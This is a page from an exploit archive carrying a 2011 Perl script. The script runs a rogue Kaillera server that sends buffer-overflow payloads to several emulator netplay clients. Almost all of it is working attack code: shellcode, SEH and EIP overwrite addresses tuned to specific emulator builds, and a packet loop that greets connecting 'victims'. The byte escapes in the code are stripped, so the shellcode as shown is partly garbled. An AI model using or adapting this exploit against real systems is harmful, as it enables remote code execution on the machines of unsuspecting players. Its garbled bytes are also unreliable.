Home / exploitsPDF  

Kaillera Emulation Clients Buffer Overflow

Posted on 30 June 2011

#!/usr/bin/perl # Exploit Title: Remote Buffer Overflows in Kaillera clients # Date: 6/30/11 # Author: sil3nt_dre4m # Software Link: Multiple: # 1. Kaillera original client: An emulator to download with this client bundled with it is Project64K 0.13: http://www.zophar.net/download_file/1907 # 2. Supraclient 0.85.2 CPPE : This client can be found here: http://morphus56k.110mb.com/website/downloads/SupraclientCPPE_v0.85.2.zip # 3. Open Kaillera p2p client: http://sourceforge.net/projects/okai/files/Client/n02.p2p%20v0/n02.P2P.v0r6.client.v0.5r0.zip/download # Version: Multiple-see below # Tested on: Windows XP, Windows 7 #Introduction: #This script acts as a Kaillera server in order to exploit various Kaillera clients. #Kaillera facilitates playing emulator games over a network. #The Kaillera protocol is built on top of UDP and is mostly documented here: http://www.emulinker.com/index.php?page=Documentation&help=true #Kaillera clients implement this protocol, and many of them have serious vulnerabilities in their code. #This server is capable of exploiting buffer overflows in the following clients: #Exploit tested against Windows 7 and XP machines, gets around ASLR (modules don't have it loaded). #Note: If you wish to exploit the same client twice, you will need to restart the server. #To reproduce the bugs shown here: #1. Download the Kaillera client you wish to test bug on. #2. Download emulator capable of Kaillera netplay, or one which this script targets (Mame32k, and so forth). #3. Overwrite existing kailleraclient.dll with the one you wish to exploit (Supraclient, open kaillera, original client). #4. Look for something that says netplay or Kaillera, and select it. In each emulator its different, for instance in Project64K go to File > Start Netplay. #5. Run this server and connect to the IP its hosted on with the kaillera client. #Greetz to: Blindgeek and jediknight304 for much help with this script, corelanc0d3r for #awesome tutorials on buffer overflows, and Requiem for help with fixing security bugs in Kaillera clients. #DISCLAIMER: I'm not responsible for how you use this code. #By running this code, you agree to accept responsibility for how you use it and you agree to not hold me responsible for any problems arising from running this code. #Final Note: For more information on Kaillera vulnerabilities and remediation information, check out http://kaillerahacks.blogspot.com/. use strict; use warnings; use IO::Socket; use Getopt::Long; use Digest::MD5 qw(md5); use subs qw(sendmessage help); ### Shellcode- spawn calc.exe from Metasploit Framework - ### my $sc = "x31xc9xddxc5xb8xe6xd8x80xa4xb1x33xd9x74x24" . "xf4x5ax31x42x16x83xeaxfcx03x42xf4x3ax75x58" . "x10x33x76xa1xe0x24xfex44xd1x76x64x0cx43x47" . "xeex40x6fx2cxa2x70xe4x40x6bx76x4dxeex4dxb9" . "x4exdex51x15x8cx40x2ex64xc0xa2x0fxa7x15xa2" . "x48xdaxd5xf6x01x90x47xe7x26xe4x5bx06xe9x62" . "xe3x70x8cxb5x97xcax8fxe5x07x40xc7x1dx2cx0e" . "xf8x1cxe1x4cxc4x57x8exa7xbex69x46xf6x3fx58" . "xa6x55x7ex54x2bxa7x46x53xd3xd2xbcxa7x6exe5" . "x06xd5xb4x60x9bx7dx3fxd2x7fx7fxecx85xf4x73" . "x59xc1x53x90x5cx06xe8xacxd5xa9x3fx25xadx8d" . "x9bx6dx76xafxbaxcbxd9xd0xddxb4x86x74x95x57" . "xd3x0fxf4x3dx22x9dx82x7bx24x9dx8cx2bx4cxac" . "x07xa4x0bx31xc2x80xe3x7bx4fxa0x6bx22x05xf0" . "xf6xd5xf3x37x0ex56xf6xc7xf5x46x73xcdxb2xc0" . "x6fxbfxabxa4x8fx6cxccxecxf3xf3x5ex6cxdax96" . "xe6x17x22x53"; ########Variables############## my $adjust ="x81xc4x54xf2xffxff"; # add esp, -3500 adjusts the stack my $ack="x05x00x00x00x00x00x01x00x00x00x02x00x00x00x03x00x00x00"; #ACK packet in Kaillera protocol, see docs my $ServerStatus="x04" . "x00" x 9; # No other users shown in server. my $oldjunk="A" x 92; #For exploiting old Kaillera client username BOF. my $junk="A" x 2082; #For exploiting P2P Kaillera client my $suprajunk="A" x 2048; #Supraclient junk my $MOTDHeader="x17" . "Server"; my $MOTDMessage="Hello, Welcome to the Server"; my $nseh="xebx06x90x90"; #short jmp for SEH exploits my $seh, my $eip; my $ServerExploit; my $username; my %inc; #increments a counter per client connected to us, each time a message is sent my ($port, $ip, $help, $target, $listtarget, $listemu, $emu, $delay, $debug); $port = 27888; GetOptions( 'port=i'=>$port, 'ip=s' =>$ip, 'help' =>$help, 't=s' =>$target, 'emu=s' =>$emu, 'targets' =>$listtarget, 'delay=i' =>$delay, 'debug' =>$debug, 'emus' =>$listemu ); if (defined $listtarget) { print " =========Pick a version of Kaillera to attack :) ======== " ; print "1. Kaillera 0.9/Anti3d -t old Pick emulator to target with -emu flag: mame32k, snes, mupen "; print "2. SupraclientCPPE 0.85.2 -t supra: Pick emulator to target with -emu flag: mame32, mupen "; print "3. Open Kaillera n02v0r6 -t p2p (Universal Exploit) " ; } if (defined $listemu) { print " =========Specific versions of emulators being attacked :) ============" . " " ; print "Mame32k 0.64 -emu mame32k "; print "Mame32++ 0.117 -emu mame32 "; print "Mupen64k 0.7.9 -emu mupen "; print "Snes9k 0.09 -emu snes "; } help() if($help or not defined $ip or not defined $target); #Note: add new targets like this, but make sure to use $variable when redefining, not "my $variablename" or it wont work from earlier scope. #Also, note that target "old" uses SEH-based overflow while target "supra" uses EIP overwrite. if ($target eq "old") { if (not defined $emu) { print " Pick an emulator to target, this exploit isn't universal "; help(); } if ($emu eq "mame32k") { print " Targetting Mame32k 0.64 running with Kaillera client 0.9... "; $seh=pack('V',0x010B3A06); # #pop ebx - pop esi - ret at 0x010B3A06 [mame32k.exe] } elsif ($emu eq "snes") { print " Targetting Snes9k 0.09 running with Kaillera client 0.9... "; $seh=pack('V',0x10018ECD); # pop ebx - pop ecx - ret at 0x10018ECD [sdl.dll] } elsif ($emu eq "mupen") { print " Targetting Mupen64k 0.7.9 running with Kaillera client 0.9... "; $seh=pack('V', 0x67F46FEF); #pop edi - pop ebp - ret at 0x67F46FEF [mupen64_rsp_hle.dll]. } else { print " Pick a valid emulator to target: -emus to list emulators "; help(); } } elsif ($target eq "p2p") { print " Targetting P2P Client (Universal exploit)... "; if (defined $emu) { print " Universal exploit, no emu necessary... "; help(); } } elsif ($target eq "supra") { if (not defined $emu) { print " Pick an emulator to target, this exploit isn't universal "; help(); } if ($emu eq "mame32") { print " Targetting Mame32++ 0.117 running with Supraclient... "; $eip=pack('V', 0x01C01104); #jmp esp in mameppkgui.exe } elsif ($emu eq "mupen") { print " Targetting Mupen64k 0.7.9 running with Supraclient... "; $eip=pack('V', 0x10021C16); #jmp esp at 0x10021C16 [aziaudio.dll] } } else { print " Pick a valid target, try -targets if you're lost. "; help(); } my $hello = "HELLOD00D$port"; #Open a new socket, start an infinite loop receiving messages from clients my $sock = IO::Socket::INET->new(Proto=>'udp', LocalPort=>$port) or die "Error opening $ip:$port $!"; print "Evil Kaillera Server Started on $ip:$port, waiting for victims :D "; my $msg_in; my $MAX_MESSAGE_LENGTH=5000; while (1) { $sock->recv($msg_in,$MAX_MESSAGE_LENGTH); my $packet = unpack 'H*', $msg_in; if (defined $debug) { print "Packet found: $packet "; } my $peerhost = $sock->peeraddr; my $peerport = $sock->peerport; #Check for client hello, send server hello if ($msg_in =~ m/HELLO0.83/) { print "Sending Hello... "; $sock->send($hello); } #Since we're using an IF loop for username detection, the scope needs to be over everything else, #because local machine processes data faster than incoming network data. #Otherwise, username won't be detected until AFTER ServerAnnouncement is sent and it wont work. if ($msg_in =~ m/x03(.*?x00)/){ my $username = $1 ; my $ServerAnnounce="x02" . $username . substr(md5($username),0,2) . "x00" x 4 . "x01"; #Not Complete yet if ($packet=~m/.{10}03/) { if (defined $debug) { print "Username $username found " . "Sending ACKs to client... "; } sendpacket($sock, $ack) for (1..3); sleep 1; } sendpacket($sock, $ServerStatus); print "Sending ServerStatus... "; sendpacket($sock, $ServerAnnounce); if ($target eq "p2p") { print "Attacking p2p client... "; $eip=pack('V',0x100123F3); # call esp in kailleraclient.dll, universal sendpacket($sock, $MOTDHeader.$junk.$eip.$sc); print "Sending MOTD payload to P2PClient... "; if (defined $delay) { sleep $delay; } } if ($target eq "supra") { print "Sending MOTD payload to Supraclient "; sendpacket($sock, $MOTDHeader.$suprajunk.$eip.$adjust.$sc); if (defined $delay) { sleep $delay; } } if ($target eq "old") { print "Sending Announce, MOTD to old kaillera client... "; sendpacket($sock, $MOTDHeader.$MOTDMessage); my $ServerExploit="x02" . $oldjunk . $nseh . $seh . $sc; print "Sending ServerStatus payload to 0.9 client... "; sendpacket($sock, $ServerExploit); if (defined $delay) { sleep $delay; } } } } $sock->close; ########### FUNCTIONS ##################### sub help{ print " Usage: $0 -port=1111 -ip=1.1.1.1 -t=supra -emu=mame32 -targets -emus -delay 10 -debug -help "; exit 0; } #This sendmessage function takes a message and an ip, and sends it nicely - thanks jediknight304 #sendpacket($socket, $message, $anothermessage); sub sendpacket{ my $sock = shift; bless $sock, "IO::Socket::INET"; my @messages = @_; my $numberofmessages = @messages; my $messagesbyte = pack('c',$numberofmessages);#how many messages are in our packet my $packet; for(@messages){ #each client has to have an incrementing packet number my $header = pack('v', $inc{$$sock->peeraddr}++) . pack ('v', length($_)); $packet .= $header.$_; } $$sock->send($messagesbyte.$packet) or die "Couldn't send: $packet $!"; }

 

TOP